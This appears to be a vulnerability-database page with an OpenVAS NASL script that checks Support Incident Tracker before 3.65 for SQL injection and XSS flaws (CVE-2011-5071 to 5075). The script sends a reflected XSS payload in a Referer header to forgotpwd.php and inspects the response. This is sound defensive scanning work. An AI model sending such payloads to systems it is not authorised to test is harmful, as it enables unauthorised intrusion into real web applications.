Lucene search
K

Support Incident Tracker SiT! Multiple SQL Injection And XSS Vulnerabilities

🗓️ 01 Feb 2012 00:00:00Reported by Copyright (c) 2012 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 27 Views

Support Incident Tracker SiT! Multiple SQL Injection And XSS Vulnerabilities - Impact: Arbitrary HTML and script code execution, SQL Injection to gain sensitive information, Flaws due to improper input validation errors, Prone to multiple vulnerabilities

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2011-5074
29 Jan 201211:55
attackerkb
ATTACKERKB
CVE-2011-5071
29 Jan 201204:04
attackerkb
ATTACKERKB
CVE-2011-5072
29 Jan 201211:55
attackerkb
ATTACKERKB
CVE-2011-5075
29 Jan 201211:55
attackerkb
ATTACKERKB
CVE-2011-5073
29 Jan 201211:55
attackerkb
Circl
CVE-2011-5071
26 Jul 201100:00
circl
Circl
CVE-2011-5072
1 Feb 201200:00
circl
Circl
CVE-2011-5073
1 Feb 201200:00
circl
Circl
CVE-2011-5074
1 Feb 201200:00
circl
CVE
CVE-2011-5071
29 Jan 201202:00
cve
Rows per page
##############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_sit_mult_sql_inj_and_xss_vuln.nasl 5956 2017-04-14 09:02:12Z teissa $
#
# Support Incident Tracker SiT! Multiple SQL Injection And XSS Vulnerabilities
#
# Authors:
# Rachana Shetty <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to execute arbitrary HTML and
  script code in a user's browser session in the context of a vulnerable site
  and to cause SQL Injection attack to gain sensitive information.
  Impact Level: Application";
tag_affected = "Support Incident Tracker before 3.65";
tag_insight = "The flaws are due to improper input validation errors in multiple
  scripts before being used in SQL queries and also allows attackers to
  execute arbitrary HTML.";
tag_solution = "Upgrade to the Support Incident Tracker version 3.65 or later,
  For updates refer to http://sitracker.org/";
tag_summary = "This host is running Support Incident Tracker and is prone to
  multiple sql injection and cross site scripting vulnerabilities.";

if(description)
{
  script_id(802388);
  script_version("$Revision: 5956 $");
  script_cve_id("CVE-2011-5071", "CVE-2011-5072", "CVE-2011-5073", "CVE-2011-5074",
                "CVE-2011-5075");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-04-14 11:02:12 +0200 (Fri, 14 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-02-01 15:15:30 +0530 (Wed, 01 Feb 2012)");
  script_name("Support Incident Tracker SiT! Multiple SQL Injection And XSS Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/46019");
  script_xref(name : "URL" , value : "http://sitracker.org/wiki/ReleaseNotes365");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/519636");
  script_xref(name : "URL" , value : "https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_sit_support_incident_tracker.html");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_GATHER_INFO);
  script_copyright("Copyright (c) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("support_incident_tracker_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("sit/installed");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");
include("http_keepalive.inc");

## Get HTTP port
sitPort = get_http_port(default:80);
if(!sitPort){
  exit(0);
}

## Get the version from KB
dir = get_dir_from_kb(port:sitPort,app:"support_incident_tracker");
if(!dir){
  exit(0);
}

## Get Host name
host = get_host_name();
if(!host){
  exit(0);
}

url = dir + "/forgotpwd.php?userid=1&action=sendpwd";
req = string("GET ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Referer: '<script>alert(document.cookie);</script>\r\n",
             "Authorization: Basic bGFtcHA6\r\n\r\n");

## Send the attack request
res = http_keepalive_send_recv(port:sitPort, data:req);

## Confirm exploit worked by checking the response
if(ereg(pattern:"^HTTP/[0-9]\.[0-9] 200 .*", string:res) &&
   "<script>alert(document.cookie);</script>" >< res)
{
  security_message(sitPort);
  exit(0);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation